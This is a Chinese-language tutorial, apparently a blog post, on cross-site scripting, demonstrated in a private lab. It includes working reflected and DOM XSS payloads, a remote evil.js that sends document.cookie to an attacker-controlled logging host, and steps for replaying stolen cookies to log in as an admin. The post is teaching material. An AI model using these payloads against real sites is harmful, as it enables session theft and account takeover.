前言
跨站脚本攻击(XSS)是客户端安全的头号大敌,OWASP TOP 10多次把xss列在榜首。
一、XSS简述
XSS攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
1.1 什么是XSS
假设一个用户输入的参数直接输出到页面上**(本章全程使用phpStudy进行环境部署)**
<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>
访问此php界面,想test参数提交数据,页面会展示提交的数据内容
http://192.168.163.131/test.php?test=ceshi
上面我们可以看到和我们猜想的一样。
如果我们提交的数据改为一段js代码
http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>
2023年最新的网络安全 | 入门学习笔记,需要的小伙伴可以关注公众号:麒麟改bug自取!
我们看到script脚本被执行,我们在看一下源代码
<div><script>alert(/test!!!/)</script></div>
script脚本被加载到页面中,这显然是有问题的。
1.2 XSS分类
XSS根据效果可以分为三类:
反射型XSS
我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。
存储型XSS
存储型xss会把用户输入的数据存储在服务器端,这种sxx具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"
DOM XSS
这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
1.3 DOM XSS漏洞演示
通过修改页面的DOM节点形成的xss,称之为DOM XSS
看如下代码
<script>
function test(){
var str = document.getElementById("test").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />
点击wirte会有一个超链接,其地址为文本框的内容。
这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。
构造如下数据
' onclick=alert(/xss/) //
输入之后界面代码局变成了
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后用注释符“//”注释掉单引号。点击新生连接,脚本将被执行。
实际上,这里还有另外一种利用方式,除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入
'><img src=# οnerrοr=alert(/xss1/) /><'
页面代码变成了
<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>
脚本被执行
二、XSS攻击进阶
2.1 初探XSS Payload
XSS攻击成功后,攻击者能过对用户当前浏览的页面进行植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些以完成各种功能的恶意脚本,被称为“XSS Payload”
XSS Payload实际上就是javascript(flash或其他富客户端的脚本),所以在任何JavaScript脚本能实现的功能,xxs payload都能做到。
2.1.1 Cookie 劫持
cookie中一般加密保存了当前用户的登录凭证。攻击者如果获取cookie就可以不通过密码登录平台
攻击者加载一个远程脚本
http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>
真正xxs payload写在这个远程脚本中,避免直接在url中写入大量的javascript代码
evil.js文件
var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);
这段是插入一个看不到的图片,同时把document.cookie对象当作参数发送到远程服务器。,实际上http://192.168.163.143/log不用存在,因为这个请求会在远程服务器上的web日志中记录
tail -f /var/log/apache2/access.log
2.1.2 cookie登录
首先管理员用户登录cms测试平台
F12在控制台输入
document.cookie
登录test用户,使用burp拦截请求包,将cookie修改为admin用户的cookie
放开拦截,我们发现test变为admin用户
所以xss攻击,可以完成cookie劫持攻击。我们一般通过在cookie中增加httponly标识可以防止cookie劫持。
2.2 强大的XSS Payload
ciooke劫持并非所有时候都有效,有的网站可能会在set-cookie时给关键cookie植入HttpOnly标识;有些网站可能会把cookie与客户端IP绑定。从而是的xss窃取cookie失去意义。
尽管如此,在xss攻击成功后,攻击者仍然有许多方式能控制用户的浏览器
1、构造GET与POST请求
2、使用XSS钓鱼,模拟一个登录窗口等。
3、识别用户浏览器
我们可以通过xss收集一些用户个人信息,实现精准的浏览器内存攻击,最终实现给电脑注入一个木马。
navigator.userAgent
OS版本信息:Windows NT 6.1; Win64; x64
浏览器版本:Chrome 101.0.4951.64
但是这个useragent信息是可以伪造的,所以通过javascript取出来的这个信息不一定正确。
4、识别用户安装的软件
知道用户的浏览器、操作系统后,进一步识别用户安装的软件。
5、CSS History Hack
其原理市利用style的visited属性,如果用户曾经访问某个连接,那么这个链接的颜色会变得与众不同。
<body>
<a href=# > 曾经访问过的 </a>
<a href="notexist">未曾访问过的</a>
</body>